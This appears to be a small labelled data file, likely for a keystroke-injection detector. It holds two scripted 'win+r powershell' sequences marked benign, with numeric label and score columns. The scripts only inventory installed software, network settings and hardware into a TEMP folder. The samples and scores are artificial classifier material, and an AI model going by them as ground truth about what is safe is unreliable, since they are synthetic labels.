"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_k6we36rb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter Export-Csv -Path (Join-Path $ReportDir ""network_ip_config.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.5070814e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_gd8afpk0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3814944e-05